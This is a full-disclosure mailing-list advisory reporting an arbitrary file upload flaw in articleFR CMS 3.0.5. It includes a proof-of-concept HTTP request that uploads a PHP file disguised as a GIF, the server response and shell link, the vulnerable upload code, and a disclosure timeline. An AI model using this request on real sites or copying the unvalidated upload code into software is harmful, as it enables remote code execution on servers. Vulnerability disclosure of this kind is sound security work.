Message-ID: <006a01d0352b$f1aa7390$d4ff5ab0$@itas.vn>
Date: Wed, 21 Jan 2015 10:40:00 +0700
From: "Tien Tran Dinh" <tien.d.tran@...s.vn>
To: <fulldisclosure@...lists.org>
Cc: info@...s.vn
Subject: [FD] Arbitrary File Upload in articleFR CMS 3.0.5

#Vulnerability title: Arbitrary File Upload in articleFR CMS 3.0.5

#Product: articleFR CMS

#Vendor: http://freereprintables.com

#Download link: https://github.com/articlefr/articleFR

#Affected version: version 3.0.5 

#Fixed version: N/A

#Author: Tran Dinh Tien (tien.d.tran@...s.vn) & ITAS Team (www.itas.vn)

 

 

::DESCRITION::

- Vulnerabilities related to the upload of unexpected file types is unique
in that the upload should quickly reject a file if it does not have a
specific extension. Additionally, this is different from uploading malicious
files in that in most cases an incorrect file format may not by itself be
inherently "malicious" but may be detrimental to the saved data. 

- The application may be expecting only certain file types to be uploaded
for processing, such as mpeg4, ogv, ogg, 3gp, webm, gif, mkv, flv, drc, mng,
avi,... files. The application may not validate the uploaded file by
extension (for low assurance file validation) or content (high assurance
file validation).

 

 

 

:: PROOF OF CONCEPT::

 

- REQUEST:

 

POST /articlefr/dashboard/videouploader.php HTTP/1.1

Host: target.org

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101
Firefox/34.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Referer: http://target.org/articlefr/dashboard/videos/fileupload/

Content-Length: 414

Content-Type: multipart/form-data;
boundary=---------------------------277651700022570

Cookie: GEAR=local-5422433b500446ead50002d4;
PHPSESSID=uc86lsmbm53d73d572tvvec3v4; _ga=GA1.2.884814947.1419214773;
__unam=bd22dea-14a6fcadd31-42cba495-9; _gat=1

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

 

-----------------------------277651700022570

Content-Disposition: form-data; name="myVideo"; filename="img.php"

Content-Type: image/gif

 

<?php 

phpinfo(); 

?>

-----------------------------277651700022570

Content-Disposition: form-data; name=""

 

undefined

-----------------------------277651700022570

Content-Disposition: form-data; name=""

 

undefined

-----------------------------277651700022570--

 

 

 

- RESPONSE:

 

HTTP/1.1 200 OK

Date: Mon, 22 Dec 2014 03:10:30 GMT

Server: Apache/2.2.15 (Red Hat)

Content-Type: text/html

Vary: Accept-Encoding

Accept-Ranges: none

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Length: 36

 

[String_Random].php

 

- Shell link:
http://target.org/articlefr2/dashboard/videos/[String_Random].php

 

 

- Vulnerable file: articlefr/dashboard/videouploader.php

 

- Vulnerable code:

 

<?php

$output_dir = dirname(dirname(__FILE__)) . "/videos_repository/";

if(isset($_FILES["myVideo"]))

{

                $ret = array();

 

                $error =$_FILES["myVideo"]["error"];

                

                if(!is_array($_FILES["myVideo"]["name"])) 

                {

                               $fileName = $_FILES["myVideo"]["name"];

                               $extension = pathinfo($fileName,
PATHINFO_EXTENSION);

                               $newFileName = md5(uniqid() . $fileName) .
'.' . $extension;

                               

 
move_uploaded_file($_FILES["myVideo"]["tmp_name"],
$output_dir.$newFileName);

                $ret[]= $newFileName;

                }

                

    echo $newFileName;

}

?>

 

 

::DISCLOSURE::

+ 12/09/2014: Contact to vendor - vendor did not reply

+ 12/11/2014: Contact to vendor - vendor did not reply

+ 12/22/2014: Contact to vendor - vendor replied

+ 12/23/2014: Send the detail vulnerability to vendor - vendor did not reply

+ 01/21/2015: Public information

 

 

::REFERENCE::

-
http://www.itas.vn/news/itas-team-phat-hien-lo-hong-arbitrarily-file-upload-
trong-articlefr-cms-71.html

 

 

::DISCLAIMER::

THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF
ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY
IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE
OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS
A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION
OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS,
AND AT THE USER'S OWN RISK.

 

 

Sincerely,

 


Tien Tran Dinh (tien.d.tran@...s.vn)

 


_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists